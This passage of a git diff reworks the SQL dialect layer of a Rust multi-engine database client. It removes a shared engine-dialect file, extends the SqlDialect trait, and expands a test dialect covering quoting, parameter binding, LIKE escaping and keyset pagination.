/// Why a value could not become a bound parameter. /// /// Binding is where a wrong type is caught, before the SQL reaches the @@ -15,8 +13,8 @@ pub enum BindError { expected: &'static str, found: &'static str, }, - #[error("binding to {type_name} needs the column's catalogue type, which is not known here")] - MissingCatalogType { type_name: SqlTypeExpr }, + #[error("binding to {column} needs the column's catalogue type, which is not known here")] + MissingCatalogType { column: String }, #[error("this value could not be read from the server, so it cannot be written back: {reason}")] Undecodable { reason: String }, #[error("{found} cannot be represented as {expected}")] diff --git a/linux/crates/core/src/dialect/engine_dialect.rs b/linux/crates/core/src/dialect/engine_dialect.rs deleted file mode 100644 index de8880e79b..0000000000 --- a/linux/crates/core/src/dialect/engine_dialect.rs +++ /dev/null @@ -1,431 +0,0 @@ -use crate::column::{ColumnInfo, ColumnType, SqlExpression, SqlTypeExpr, classify_type_name, has_dynamic_storage}; -use crate::edit::parse_literal_text; -use crate::meta::{EngineRowId, EngineRowIdPart}; -use crate::sql_dialect::{placeholder_for, quote_ident}; -use crate::sql_syntax::{ - ExpressionSyntaxError, MAX_EXPRESSION_LEN, MAX_TYPE_LEN, SqlGrammar, TypeSyntaxError, parse_expression, parse_type, -}; -use crate::statement::{BoundParam, ParamType}; -use crate::value::Value; - -use super::{ - BindError, BindTarget, DialectCapabilities, KeysetDirection, LikeCase, LikeForm, LiteralError, Placeholder, - SqlDialect, -}; - -/// One engine's SQL, built from the driver id the registry knows it by. -/// -/// Every difference between the engines lives here rather than in a -/// branch inside a builder, so the browse, filter and write paths are -/// written once. -#[derive(Debug, Clone, Copy, PartialEq, Eq)] -pub struct EngineDialect { - driver_id: &'static str, - grammar: SqlGrammar, -} - -const POSTGRES: EngineDialect = EngineDialect { - driver_id: "postgres", - grammar: SqlGrammar::PostgreSql, -}; -const MYSQL: EngineDialect = EngineDialect { - driver_id: "mysql", - grammar: SqlGrammar::MySql, -}; -const SQLITE: EngineDialect = EngineDialect { - driver_id: "sqlite", - grammar: SqlGrammar::Sqlite, -}; -const MSSQL: EngineDialect = EngineDialect { - driver_id: "mssql", - grammar: SqlGrammar::MsSql, -}; -const CLICKHOUSE: EngineDialect = EngineDialect { - driver_id: "clickhouse", - grammar: SqlGrammar::ClickHouse, -}; - -/// The dialect for a driver id, defaulting to the ANSI-shaped one so an -/// engine added later still builds working SQL before it has its own. -pub fn dialect_for(driver_id: &str) -> &'static dyn SqlDialect { - match driver_id { - "mysql" => &MYSQL, - "sqlite" => &SQLITE, - "mssql" => &MSSQL, - "clickhouse" => &CLICKHOUSE, - _ => &POSTGRES, - } -} - -impl EngineDialect { - pub fn driver_id(&self) -> &'static str { - self.driver_id - } - - pub fn grammar(&self) -> SqlGrammar { - self.grammar - } -} - -/// The grammar a driver's SQL is written in, for lexing a script the -/// user typed. -pub fn grammar_for(driver_id: &str) -> SqlGrammar { - match driver_id { - "mysql" => MYSQL.grammar, - "sqlite" => SQLITE.grammar, - "mssql" => MSSQL.grammar, - "clickhouse" => CLICKHOUSE.grammar, - _ => POSTGRES.grammar, - } -} - -impl SqlDialect for EngineDialect { - fn capabilities(&self) -> DialectCapabilities { - DialectCapabilities { - // ClickHouse applies a change as a mutation and reports - // nothing useful about how many rows it touched, so a - // write there proves itself with a probe. - exact_row_counts: self.driver_id != "clickhouse", - } - } - - fn quote_identifier(&self, name: &str) -> String { - quote_ident(self.driver_id, name) - } - - fn placeholder(&self, ordinal: usize, value: Value, target: BindTarget<'_>) -> Result { - let param_type = match target { - BindTarget::Pattern => ParamType::Text, - // A row address is text the server parses back into its own - // address type. - BindTarget::EngineRowId(_) => ParamType::Text, - BindTarget::Column(column) => param_type_for(&column.column_type), - }; - let param = BoundParam::new(value, param_type)?; - // `placeholder_for` counts from zero. - Ok(Placeholder::bound( - placeholder_for(self.driver_id, ordinal.saturating_sub(1)), - param, - )) - } - - fn literal(&self, value: &Value, _column: &ColumnType) -> Result { - match value { - Value::Null => Ok("NULL".to_owned()), - Value::Bool(flag) => Ok(match self.driver_id { - // SQL Server has no boolean literal; BIT takes 0 or 1. - "mssql" => if *flag { "1" } else { "0" }.to_owned(), - _ => flag.to_string(), - }), - Value::Undecodable(undecodable) => Err(LiteralError::Undecodable { - reason: format!("{:?}", undecodable.reason), - }), - // Bytes have a different spelling on every engine, and - // getting it wrong writes the wrong data rather than - // failing, so it is refused here. - Value::Bytes(_) => Err(LiteralError::Unrepresentable { found: "Bytes" }), - other => match crate::export::value_to_text(other) { - Some(text) if is_bare_literal(other) => Ok(text), - Some(text) => Ok(format!("'{}'", text.replace('\'', "''"))), - None => Err(LiteralError::Unrepresentable { - found: other.variant_name(), - }), - }, - } - } - - fn escape_like_text(&self, text: &str) -> String { - text.replace('\\', "\\\\").replace('%', "\\%").replace('_', "\\_") - } - - fn like_predicate(&self, column_sql: &str, pattern_sql: &str, form: LikeForm) -> String { - let insensitive = matches!(form.case, LikeCase::Insensitive); - // Only PostgreSQL spells it ILIKE. Elsewhere the collation - // usually already ignores case, and LOWER() on both sides is - // what makes it certain without an engine-specific operator. - let (left, right, operator) = match (insensitive, self.driver_id) { - (true, "postgres") => (column_sql.to_owned(), pattern_sql.to_owned(), "ILIKE"), - (true, _) => (format!("LOWER({column_sql})"), format!("LOWER({pattern_sql})"), "LIKE"), - (false, _) => (column_sql.to_owned(), pattern_sql.to_owned(), "LIKE"), - }; - let operator = match form.negated { - true => format!("NOT {operator}"), - false => operator.to_owned(), - }; - match form.escaped { - true => format!("{left} {operator} {right} ESCAPE '\\'"), - false => format!("{left} {operator} {right}"), - } - } - - fn row_window(&self, order_by: Option<&str>, limit: u64, offset: u64) -> String { - crate::sql_dialect::build_order_and_pagination(self.driver_id, order_by, limit, offset) - } - - fn row_value_after(&self, key_sql: &[String], markers: &[String], direction: KeysetDirection) -> String { - let comparison = direction.comparison(); - // SQL Server has no row-value comparison, so it gets the - // expanded form: the same predicate, written out. - if self.driver_id == "mssql" { - return expanded_row_comparison(key_sql, markers, comparison); - } - format!("({}) {comparison} ({})", key_sql.join(", "), markers.join(", ")) - } - - fn engine_row_id(&self, id: EngineRowId) -> Option { - match (self.driver_id, id) { - ("postgres", EngineRowId::PostgresCtid) => Some("ctid".to_owned()), - ("postgres", EngineRowId::PostgresTableoidCtid) => Some("tableoid, ctid".to_owned()), - ("sqlite", EngineRowId::SqliteRowid) => Some("rowid".to_owned()), - _ => None, - } - } - - fn engine_row_id_column(&self, part: EngineRowIdPart) -> Option { - match (self.driver_id, part) { - ("postgres", EngineRowIdPart::PostgresCtid) => Some("ctid".to_owned()), - ("postgres", EngineRowIdPart::PostgresTableOid) => Some("tableoid".to_owned()), - ("sqlite", EngineRowIdPart::SqliteRowid) => Some("rowid".to_owned()), - _ => None, - } - } - - fn update_statement(&self, table_sql: &str, assignments_sql: &str, predicate_sql: &str) -> String { - crate::sql_dialect::build_update(self.driver_id, table_sql, assignments_sql, predicate_sql) - } - - fn delete_statement(&self, table_sql: &str, predicate_sql: &str) -> String { - match self.driver_id { - // ClickHouse applies a delete as a mutation. - "clickhouse" => format!("ALTER TABLE {table_sql} DELETE WHERE {predicate_sql}"), - _ => format!("DELETE FROM {table_sql} WHERE {predicate_sql}"), - } - } - - fn insert_default_row(&self, table_sql: &str) -> Option { - match self.driver_id { - "postgres" | "sqlite" => Some(format!("INSERT INTO {table_sql} DEFAULT VALUES")), - "mysql" => Some(format!("INSERT INTO {table_sql} () VALUES ()")), - "mssql" => Some(format!("INSERT INTO {table_sql} DEFAULT VALUES")), - // ClickHouse has no spelling for a row of nothing. - _ => None, - } - } - - fn key_probe(&self, table_sql: &str, predicate_sql: &str) -> String { - match self.driver_id { - "mssql" => { - format!("SELECT COUNT(*) FROM (SELECT TOP 2 1 AS one FROM {table_sql} WHERE {predicate_sql}) AS probe") - } - _ => format!( - "SELECT COUNT(*) FROM (SELECT 1 AS one FROM {table_sql} WHERE {predicate_sql} LIMIT 2) AS probe" - ), - } - } - - fn parse_type(&self, text: &str) -> Result { - let parsed = parse_type(self.grammar, text, MAX_TYPE_LEN)?; - let kind = classify_type_name(&parsed.text); - Ok(ColumnType::new( - SqlTypeExpr::from_catalog_text(parsed.text), - kind, - crate::column::CatalogType::Unknown, - has_dynamic_storage(kind), - crate::column::ReadForm::Native, - )) - } - - fn parse_expression(&self, text: &str) -> Result { - let parsed = parse_expression(self.grammar, text, MAX_EXPRESSION_LEN)?; - Ok(SqlExpression::from_catalog_text(parsed.text)) - } -} - -/// Whether a value's text is already a SQL literal, so quoting it would -/// make it a string instead of a number. -fn is_bare_literal(value: &Value) -> bool { - matches!( - value, - Value::Int(_) | Value::UInt(_) | Value::WideInt(_) | Value::Decimal(_) - ) || matches!(value, Value::Float32(f) if f.is_finite()) - || matches!(value, Value::Float64(f) if f.is_finite()) -} - -/// `(a, b) > (?, ?)` written out, for an engine that has no row-value -/// comparison: `a > ? OR (a = ? AND b > ?)`. -fn expanded_row_comparison(key_sql: &[String], markers: &[String], comparison: &str) -> String { - let mut branches = Vec::with_capacity(key_sql.len()); - for last in 0..key_sql.len() { - let mut terms: Vec = (0..last) - .map(|earlier| format!("{} = {}", key_sql[earlier], markers[earlier])) - .collect(); - terms.push(format!("{} {comparison} {}", key_sql[last], markers[last])); - branches.push(match terms.len() { - 1 => terms.remove(0), - _ => format!("({})", terms.join(" AND ")), - }); - } - branches.join(" OR ") -} - -/// The parameter type a column takes. -fn param_type_for(column_type: &ColumnType) -> ParamType { - use crate::column::{ColumnKind, FloatKind, IntegerKind}; - - match column_type.kind() { - ColumnKind::Boolean => ParamType::Bool, - ColumnKind::Integer(IntegerKind::I8 | IntegerKind::U8 | IntegerKind::I16) => ParamType::Int16, - ColumnKind::Integer(IntegerKind::U16 | IntegerKind::I32) => ParamType::Int32, - ColumnKind::Integer(IntegerKind::U64 | IntegerKind::U128) => ParamType::UInt64, - ColumnKind::Integer(_) => ParamType::Int64, - ColumnKind::Decimal => ParamType::Decimal, - ColumnKind::Float(FloatKind::F32) => ParamType::Float32, - ColumnKind::Float(FloatKind::F64) => ParamType::Float64, - ColumnKind::Text(crate::column::TextKind::Fixed) => ParamType::FixedText, - ColumnKind::Binary => ParamType::Bytes, - ColumnKind::Date => ParamType::Date, - ColumnKind::Time => ParamType::Time, - ColumnKind::Timestamp => ParamType::Timestamp, - ColumnKind::Interval => ParamType::Interval, - ColumnKind::Uuid => ParamType::Uuid, - ColumnKind::Json => ParamType::Json, - // A type only the server names binds as text and is cast on the - // way in. - ColumnKind::Enumeration | ColumnKind::Set | ColumnKind::Network | ColumnKind::Geometry | ColumnKind::Other => { - ParamType::ServerText(column_type.name().clone()) - } - _ => ParamType::Text, - } -} - -/// Text the user typed, as a value of the column's type. -pub fn parse_for_column(text: &str, column: &ColumnInfo) -> Result { - parse_literal_text(text, &column.column_type) -} - -#[cfg(test)] -mod tests { - use super::*; - - fn markers(count: usize) -> Vec { - (1..=count).map(|n| format!("${n}")).collect() - } - - #[test] - fn each_engine_quotes_the_way_it_reads() { - assert_eq!(dialect_for("postgres").quote_identifier("a\"b"), "\"a\"\"b\""); - assert_eq!(dialect_for("mysql").quote_identifier("a`b"), "`a``b`"); - assert_eq!(dialect_for("mssql").quote_identifier("a]b"), "[a]]b]"); - } - - #[test] - fn only_postgres_spells_it_ilike() { - let insensitive = LikeForm::insensitive(false); - - assert_eq!( - dialect_for("postgres").like_predicate("\"a\"", "$1", insensitive), - "\"a\" ILIKE $1" - ); - assert_eq!( - dialect_for("mysql").like_predicate("`a`", "?", insensitive), - "LOWER(`a`) LIKE LOWER(?)", - "a case-insensitive filter silently became case-sensitive" - ); - } - - #[test] - fn sql_server_gets_the_expanded_row_comparison() { - let keys = vec!["\"a\"".to_owned(), "\"b\"".to_owned()]; - - let expanded = dialect_for("mssql").row_value_after(&keys, &markers(2), KeysetDirection::After); - let row_value = dialect_for("postgres").row_value_after(&keys, &markers(2), KeysetDirection::After); - - assert_eq!(expanded, "\"a\" > $1 OR (\"a\" = $1 AND \"b\" > $2)"); - assert_eq!(row_value, "(\"a\", \"b\") > ($1, $2)"); - } - - #[test] - fn a_keyset_page_backward_flips_the_comparison() { - let keys = vec!["\"a\"".to_owned()]; - - let before = dialect_for("postgres").row_value_after(&keys, &markers(1), KeysetDirection::Before); - - assert_eq!(before, "(\"a\") < ($1)"); - } - - #[test] - fn only_the_engines_with_a_row_address_offer_one() { - assert_eq!( - dialect_for("postgres").engine_row_id(EngineRowId::PostgresTableoidCtid), - Some("tableoid, ctid".to_owned()) - ); - assert_eq!( - dialect_for("sqlite").engine_row_id(EngineRowId::SqliteRowid), - Some("rowid".to_owned()) - ); - assert_eq!(dialect_for("mysql").engine_row_id(EngineRowId::SqliteRowid), None); - } - - #[test] - fn clickhouse_counts_are_not_exact_and_it_writes_as_a_mutation() { - let clickhouse = dialect_for("clickhouse"); - - assert!(!clickhouse.capabilities().exact_row_counts); - assert_eq!( - clickhouse.delete_statement("t", "id = 1"), - "ALTER TABLE t DELETE WHERE id = 1" - ); - assert!( - clickhouse.insert_default_row("t").is_none(), - "an engine with no all-defaults insert offered one" - ); - } - - #[test] - fn a_number_is_a_bare_literal_and_text_is_quoted() { - let dialect = dialect_for("postgres"); - let column = ColumnType::untyped_text(SqlTypeExpr::from_catalog_text("text")); - - assert_eq!(dialect.literal(&Value::Int(7), &column), Ok("7".to_owned())); - assert_eq!( - dialect.literal(&Value::Text("it's".to_owned()), &column), - Ok("'it''s'".to_owned()) - ); - assert_eq!(dialect.literal(&Value::Null, &column), Ok("NULL".to_owned())); - } - - #[test] - fn bytes_have_no_portable_literal() { - let dialect = dialect_for("postgres"); - let column = ColumnType::untyped_text(SqlTypeExpr::from_catalog_text("bytea")); - - let error = dialect.literal(&Value::Bytes(vec![0xff]), &column).expect_err("a blob"); - - assert_eq!(error, LiteralError::Unrepresentable { found: "Bytes" }); - } - - #[test] - fn sql_server_has_no_boolean_literal() { - let column = ColumnType::untyped_text(SqlTypeExpr::from_catalog_text("bit")); - - assert_eq!( - dialect_for("mssql").literal(&Value::Bool(true), &column), - Ok("1".to_owned()) - ); - assert_eq!( - dialect_for("postgres").literal(&Value::Bool(true), &column), - Ok("true".to_owned()) - ); - } - - #[test] - fn a_probe_stops_at_two_rows_on_every_engine() { - for driver in ["postgres", "mysql", "sqlite", "mssql", "clickhouse"] { - let probe = dialect_for(driver).key_probe("t", "id = 1"); - assert!( - probe.contains("LIMIT 2") || probe.contains("TOP 2"), - "{driver}: {probe}" - ); - } - } -} diff --git a/linux/crates/core/src/dialect/mod.rs b/linux/crates/core/src/dialect/mod.rs index 42f6246339..e7811dea48 100644 --- a/linux/crates/core/src/dialect/mod.rs +++ b/linux/crates/core/src/dialect/mod.rs @@ -1,12 +1,9 @@ -//! How a value becomes SQL, and what goes wrong when it cannot. -//! -//! The dialect trait itself lands with the per-engine implementations; -//! these are the shapes its callers pass and handle. +//! How one engine spells SQL, and what goes wrong when a value cannot +//! become SQL. Each driver crate implements `SqlDialect` for its engine. mod bind_error; mod bind_target; mod dialect_capabilities; -mod engine_dialect; mod keyset_direction; mod like_form; mod literal_error; @@ -18,11 +15,10 @@ mod test_dialect; pub use bind_error::BindError; pub use bind_target::BindTarget; pub use dialect_capabilities::DialectCapabilities; -pub use engine_dialect::{EngineDialect, dialect_for, grammar_for, parse_for_column}; pub use keyset_direction::KeysetDirection; pub use like_form::{LikeCase, LikeForm}; pub use literal_error::LiteralError; pub use placeholder::Placeholder; pub use sql_dialect::SqlDialect; #[cfg(test)] -pub(crate) use test_dialect::TestDialect; +pub(crate) use test_dialect::{RecordedTarget, TestDialect, TestMarkers}; diff --git a/linux/crates/core/src/dialect/sql_dialect.rs b/linux/crates/core/src/dialect/sql_dialect.rs index a9b097d7e7..fccf61160f 100644 --- a/linux/crates/core/src/dialect/sql_dialect.rs +++ b/linux/crates/core/src/dialect/sql_dialect.rs @@ -1,6 +1,7 @@ use crate::column::{ColumnInfo, ColumnType, SqlExpression}; +use crate::ddl::DdlDialect; use crate::meta::{EngineRowId, EngineRowIdPart, TableRef}; -use crate::sql_syntax::{ExpressionSyntaxError, TypeSyntaxError}; +use crate::sql_syntax::{ExpressionSyntaxError, SqlGrammar, TypeSyntaxError}; use crate::value::Value; use super::{ @@ -13,15 +14,30 @@ use super::{ /// driver id, so adding an engine is a new implementation rather than a /// new branch in the browse, filter and write paths. No method reads /// session state or knows which driver it belongs to. +/// +/// Methods that take SQL fragments must keep them in the order given: +/// the builders bind markers in that order, and an engine with +/// positional markers (`?`) matches parameters by position. pub trait SqlDialect: Send + Sync + std::fmt::Debug { fn capabilities(&self) -> DialectCapabilities; + /// The grammar the engine's SQL is written in, for validating and + /// lexing text the user typed. + fn grammar(&self) -> SqlGrammar; + /// Wrap an identifier so it cannot be read as anything else, /// whatever it contains. fn quote_identifier(&self, name: &str) -> String; - /// Bind one value, giving back the SQL that names it. An engine - /// with no parameters returns a literal instead. + /// Bind one value, giving back the SQL that names it. + /// + /// `ordinal` is the number of parameters the statement already + /// holds, so a returned parameter lands at that index in + /// `Statement::params`. A numbered engine renders `$`; + /// one with named server-side parameters names it from the ordinal + /// (ClickHouse `{p:}`) and the driver binds + /// `params[i]` under the same name. An engine with no parameters + /// returns a literal and no parameter. fn placeholder(&self, ordinal: usize, value: Value, target: BindTarget<'_>) -> Result; /// A value written into SQL directly, for the places a parameter @@ -32,6 +48,9 @@ pub trait SqlDialect: Send + Sync + std::fmt::Debug { /// so a user searching for `50%` does not match everything. fn escape_like_text(&self, text: &str) -> String; + /// The ORDER BY and row-window tail of a page query. It starts with + /// a space, because the builders append it straight after the FROM + /// or WHERE clause. fn row_window(&self, order_by: Option<&str>, limit: u64, offset: u64) -> String; /// The comparison that reads the page after (or before) a row, @@ -39,7 +58,8 @@ pub trait SqlDialect: Send + Sync + std::fmt::Debug { fn row_value_after(&self, key_sql: &[String], markers: &[String], direction: KeysetDirection) -> String; /// The extra columns a page selects to carry the engine's own row - /// address, or `None` where the engine has none. + /// address, one per part in `EngineRowId::parts` order, or `None` + /// where the engine has none. fn engine_row_id(&self, id: EngineRowId) -> Option; /// The column one part of that address is compared against in a @@ -50,6 +70,12 @@ pub trait SqlDialect: Send + Sync + std::fmt::Debug { fn parse_expression(&self, text: &str) -> Result; + /// The engine's structure-change spelling, or `None` where the app + /// does not edit this engine's structure. + fn ddl(&self) -> Option<&dyn DdlDialect> { + None + } + fn qualify(&self, table: &TableRef) -> String { match table.schema.as_deref().filter(|schema| !schema.is_empty()) { Some(schema) => format!( @@ -79,6 +105,22 @@ pub trait SqlDialect: Send + Sync + std::fmt::Debug { "COUNT(*)" } + /// The column as text, where it meets a LIKE pattern or text the user + /// typed, for a type the engine will not compare with text as it is. + /// `None` when the column takes text as it is. + fn text_operand(&self, _column: &ColumnInfo) -> Option { + None + } + + /// Whether `=` and `IN` have to compare `text_operand`, because the + /// type has no equality of its own. + fn equality_as_text(&self, _column: &ColumnInfo) -> bool { + false + } + + /// `!` rather than a backslash: a backslash means something else + /// inside a string literal under some PostgreSQL and MySQL session + /// modes, and is no escape at all on SQLite and SQL Server. fn like_predicate(&self, column_sql: &str, pattern_sql: &str, form: LikeForm) -> String { let operator = match (form.negated, form.case) { (false, LikeCase::EngineDefault) => "LIKE", @@ -87,7 +129,7 @@ pub trait SqlDialect: Send + Sync + std::fmt::Debug { (true, LikeCase::Insensitive) => "NOT ILIKE", }; match form.escaped { - true => format!("{column_sql} {operator} {pattern_sql} ESCAPE '\\'"), + true => format!("{column_sql} {operator} {pattern_sql} ESCAPE '!'"), false => format!("{column_sql} {operator} {pattern_sql}"), } } diff --git a/linux/crates/core/src/dialect/test_dialect.rs b/linux/crates/core/src/dialect/test_dialect.rs index af9b5e9597..a754cfb272 100644 --- a/linux/crates/core/src/dialect/test_dialect.rs +++ b/linux/crates/core/src/dialect/test_dialect.rs @@ -1,4 +1,7 @@ +use std::sync::Mutex; + use crate::column::{ColumnInfo, ColumnType, SqlExpression, SqlTypeExpr}; +use crate::ddl::{DdlCapabilities, DdlDialect}; use crate::meta::{EngineRowId, EngineRowIdPart}; use crate::sql_syntax::{ExpressionSyntaxError, SqlGrammar, TypeSyntaxError, parse_expression, parse_type}; use crate::statement::{BoundParam, ParamType}; @@ -6,20 +9,135 @@ use crate::value::Value; use super::{BindError, BindTarget, DialectCapabilities, KeysetDirection, LiteralError, Placeholder, SqlDialect}; -/// A plain ANSI dialect, for the core builders' own tests. +/// The one ANSI dialect the core builders' own tests share. /// -/// It numbers its placeholders, because that is the style whose -/// ordinals can actually disagree with the parameter list, and records -/// nothing: a test that needs to see what was bound reads the -/// statement's parameters. -#[derive(Debug, Default)] +/// It records every bind it is asked for, so a test can check which +/// target each value was bound for and in what order, and it can switch +/// marker style to prove a builder keeps positional markers in bind +/// order. +#[derive(Debug)] pub struct TestDialect { - pub exact_row_counts: bool, + exact_row_counts: bool, + markers: TestMarkers, + row_ids: bool, + default_row: bool, + count_all: &'static str, + binds: Mutex>, + ddl: Option, +} + +/// The standard DDL spelling, for the builders that render through +/// `ddl()`. No core test reads its capabilities. +#[derive(Debug, Default)] +struct TestDdl { + capabilities: DdlCapabilities, +} + +impl DdlDialect for TestDdl { + fn capabilities(&self) -> &DdlCapabilities { + &self.capabilities + } +} + +/// How the test dialect spells a marker. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)] +pub enum TestMarkers { + /// `$1`, `$2`: the style whose ordinals can disagree with the list. + #[default] + Numbered, + /// `?`, where only the position in the text names the parameter. + Positional, + /// `{p0:Type}`, a server-side parameter named by its index. + ServerNamed, +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum RecordedTarget { + Column(String), + Pattern, + EngineRowId(EngineRowIdPart), +} + +#[derive(Debug, Clone, PartialEq, Eq)] +struct RecordedBind { + ordinal: usize, + target: RecordedTarget, +} + +impl Default for TestDialect { + fn default() -> Self { + Self { + exact_row_counts: false, + markers: TestMarkers::Numbered, + row_ids: true, + default_row: true, + count_all: "COUNT(*)", + binds: Mutex::new(Vec::new()), + ddl: Some(TestDdl::default()), + } + } } impl TestDialect { pub fn exact() -> Self { - Self { exact_row_counts: true } + Self { + exact_row_counts: true, + ..Self::default() + } + } + + pub fn estimated() -> Self { + Self::default() + } + + pub fn with_markers(self, markers: TestMarkers) -> Self { + Self { markers, ..self } + } + + pub fn without_row_ids(self) -> Self { + Self { row_ids: false, ..self } + } + + pub fn without_default_row(self) -> Self { + Self { + default_row: false, + ..self + } + } + + /// An engine whose structure the app does not edit. + pub fn without_ddl(self) -> Self { + Self { ddl: None, ..self } + } + + pub fn counting_with(self, count_all: &'static str) -> Self { + Self { count_all, ..self } + } + + pub fn targets(&self) -> Vec { + self.recorded().into_iter().map(|bind| bind.target).collect() + } + + pub fn ordinals(&self) -> Vec { + self.recorded().into_iter().map(|bind| bind.ordinal).collect() + } + + fn recorded(&self) -> Vec { + self.binds.lock().map(|binds| binds.clone()).unwrap_or_default() + } + + fn record(&self, ordinal: usize, target: RecordedTarget) { + if let Ok(mut binds) = self.binds.lock() { + binds.push(RecordedBind { ordinal, target }); + } + } + + fn marker(&self, ordinal: usize, declaration: &str) -> String { + match self.markers { + TestMarkers::Numbered => format!("${}", ordinal + 1), + TestMarkers::Positional => "?".to_owned(), + TestMarkers::ServerNamed => format!("{{p{ordinal}:{declaration}}}"), + } } } @@ -30,18 +148,36 @@ impl SqlDialect for TestDialect { } } + fn grammar(&self) -> SqlGrammar { + SqlGrammar::PostgreSql + } + fn quote_identifier(&self, name: &str) -> String { format!("\"{}\"", name.replace('"', "\"\"")) } fn placeholder(&self, ordinal: usize, value: Value, target: BindTarget<'_>) -> Result { - let param_type = match target { - BindTarget::Pattern => ParamType::Text, - BindTarget::EngineRowId(_) => ParamType::Text, - BindTarget::Column(column) => param_type_for(column), + let (param_type, declaration, recorded) = match target { + BindTarget::Pattern => (ParamType::Text, "String".to_owned(), RecordedTarget::Pattern), + BindTarget::EngineRowId(part) => ( + row_id_param_type(part), + row_id_type(part).to_owned(), + RecordedTarget::EngineRowId(part), + ), + BindTarget::Column(column) => ( + param_type_for(column), + column + .column_type + .catalog + .as_ref() + .map(|catalog| catalog.declaration.as_sql().to_owned()) + .unwrap_or_else(|| column.column_type.name.clone()), + RecordedTarget::Column(column.name.clone()), + ), }; let param = BoundParam::new(value, param_type)?; - Ok(Placeholder::bound(format!("${ordinal}"), param)) + self.record(ordinal, recorded); + Ok(Placeholder::bound(self.marker(ordinal, &declaration), param)) } fn literal(&self, value: &Value, _column: &ColumnType) -> Result { @@ -61,7 +197,7 @@ impl SqlDialect for TestDialect { } fn escape_like_text(&self, text: &str) -> String { - text.replace('\\', "\\\\").replace('%', "\\%").replace('_', "\\_") + text.replace('!', "!!").replace('%', "!%").replace('_', "!_") } fn row_window(&self, order_by: Option<&str>, limit: u64, offset: u64) -> String { @@ -81,45 +217,107 @@ impl SqlDialect for TestDialect { ) } - fn engine_row_id(&self, _id: EngineRowId) -> Option { - None + fn engine_row_id(&self, id: EngineRowId) -> Option { + let projections: Option> = id + .parts() + .iter() + .map(|part| { + let column = self.engine_row_id_column(*part)?; + Some(format!( + "{column} AS {}", + self.quote_identifier(part.projection_alias()) + )) + }) + .collect(); + projections.map(|projections| projections.join(", ")) } - fn engine_row_id_column(&self, _part: EngineRowIdPart) -> Option { - None + fn engine_row_id_column(&self, part: EngineRowIdPart) -> Option { + if !self.row_ids { + return None; + } + Some( + match part { + EngineRowIdPart::PostgresTableOid => "tableoid", + EngineRowIdPart::PostgresCtid => "ctid", + EngineRowIdPart::PostgresXmin => "xmin", + EngineRowIdPart::SqliteRowid => "rowid", + } + .to_owned(), + ) + } + + fn count_all(&self) -> &'static str { + self.count_all + } + + fn insert_default_row(&self, table_sql: &str) -> Option { + self.default_row + .then(|| format!("INSERT INTO {table_sql} DEFAULT VALUES")) } fn parse_type(&self, text: &str) -> Result { let parsed = parse_type(SqlGrammar::PostgreSql, text, crate::sql_syntax::MAX_TYPE_LEN)?; - Ok(ColumnType::untyped_text(SqlTypeExpr::from_catalog_text(parsed.text))) + Ok(ColumnType::untyped_text(parsed.text)) } fn parse_expression(&self, text: &str) -> Result { let parsed = parse_expression(SqlGrammar::PostgreSql, text, crate::sql_syntax::MAX_EXPRESSION_LEN)?; Ok(SqlExpression::from_catalog_text(parsed.text)) } + + fn ddl(&self) -> Option<&dyn DdlDialect> { + self.ddl.as_ref().map(|ddl| ddl as &dyn DdlDialect) + } +} + +fn row_id_type(part: EngineRowIdPart) -> &'static str { + match part { + EngineRowIdPart::PostgresTableOid => "oid", + EngineRowIdPart::PostgresCtid => "tid", + EngineRowIdPart::PostgresXmin => "xid", + EngineRowIdPart::SqliteRowid => "Int64", + } +} + +fn row_id_param_type(part: EngineRowIdPart) -> ParamType { + match part { + EngineRowIdPart::SqliteRowid => ParamType::Int64, + other => ParamType::ServerText(SqlTypeExpr::from_catalog_text(row_id_type(other))), + } } /// The parameter type a column takes, reduced to what the tests need. fn param_type_for(column: &ColumnInfo) -> ParamType { - use crate::column::{ColumnKind, FloatKind, IntegerKind}; - - match column.column_type.kind() { - ColumnKind::Boolean => ParamType::Bool, - ColumnKind::Integer(IntegerKind::I16 | IntegerKind::U8 | IntegerKind::I8) => ParamType::Int16, - ColumnKind::Integer(IntegerKind::I32 | IntegerKind::U16) => ParamType::Int32, - ColumnKind::Integer(IntegerKind::U64 | IntegerKind::U128) => ParamType::UInt64, - ColumnKind::Integer(_) => ParamType::Int64, - ColumnKind::Decimal => ParamType::Decimal, - ColumnKind::Float(FloatKind::F32) => ParamType::Float32, - ColumnKind::Float(FloatKind::F64) => ParamType::Float64, + use crate::column::{BoolStorage, ColumnKind, FloatWidth, IntegerWidth, TemporalZone}; + + match &column.column_type.kind { + ColumnKind::Bool(BoolStorage::Native) => ParamType::Bool, + ColumnKind::Bool(BoolStorage::Integer) => ParamType::Int64, + ColumnKind::Integer(kind) => match (kind.width, kind.signed) { + (IntegerWidth::W8 | IntegerWidth::W16, true) | (IntegerWidth::W8, false) => ParamType::Int16, + (IntegerWidth::W24 | IntegerWidth::W32, true) | (IntegerWidth::W16 | IntegerWidth::W24, false) => { + ParamType::Int32 + } + (IntegerWidth::W64 | IntegerWidth::W128 | IntegerWidth::W256, false) => ParamType::UInt64, + _ => ParamType::Int64, + }, + ColumnKind::Decimal { .. } | ColumnKind::Money { .. } => ParamType::Decimal, + ColumnKind::Float(FloatWidth::F32) => ParamType::Float32, + ColumnKind::Float(FloatWidth::F64) => ParamType::Float64, ColumnKind::Uuid => ParamType::Uuid, - ColumnKind::Json => ParamType::Json, + ColumnKind::Json { .. } => ParamType::Json, ColumnKind::Date => ParamType::Date, - ColumnKind::Time => ParamType::Time, - ColumnKind::Timestamp => ParamType::Timestamp, + ColumnKind::Time { with_offset: false, .. } => ParamType::Time, + ColumnKind::Time { with_offset: true, .. } => ParamType::TimeTz, + ColumnKind::Timestamp { + zone: TemporalZone::Offset, + .. + } => ParamType::TimestampTz, + ColumnKind::Timestamp { .. } => ParamType::Timestamp, ColumnKind::Interval => ParamType::Interval, - ColumnKind::Binary | ColumnKind::BitString => ParamType::Bytes, + ColumnKind::Bytes { .. } => ParamType::Bytes, + ColumnKind::BitString { .. } => ParamType::Bits, _ => ParamType::Text, } } diff --git a/linux/crates/core/src/dml/build_delete.rs b/linux/crates/core/src/dml/build_delete.rs index 12ffa8d2a2..bc738467c2 100644 --- a/linux/crates/core/src/dml/build_delete.rs +++ b/linux/crates/core/src/dml/build_delete.rs @@ -1,7 +1,7 @@ use crate::column::ColumnInfo; use crate::dialect::SqlDialect; use crate::meta::{RowIdentity, TableRef}; -use crate::statement::Statement; +use crate::statement::{Statement, StatementBuilder}; use crate::value::Value; use 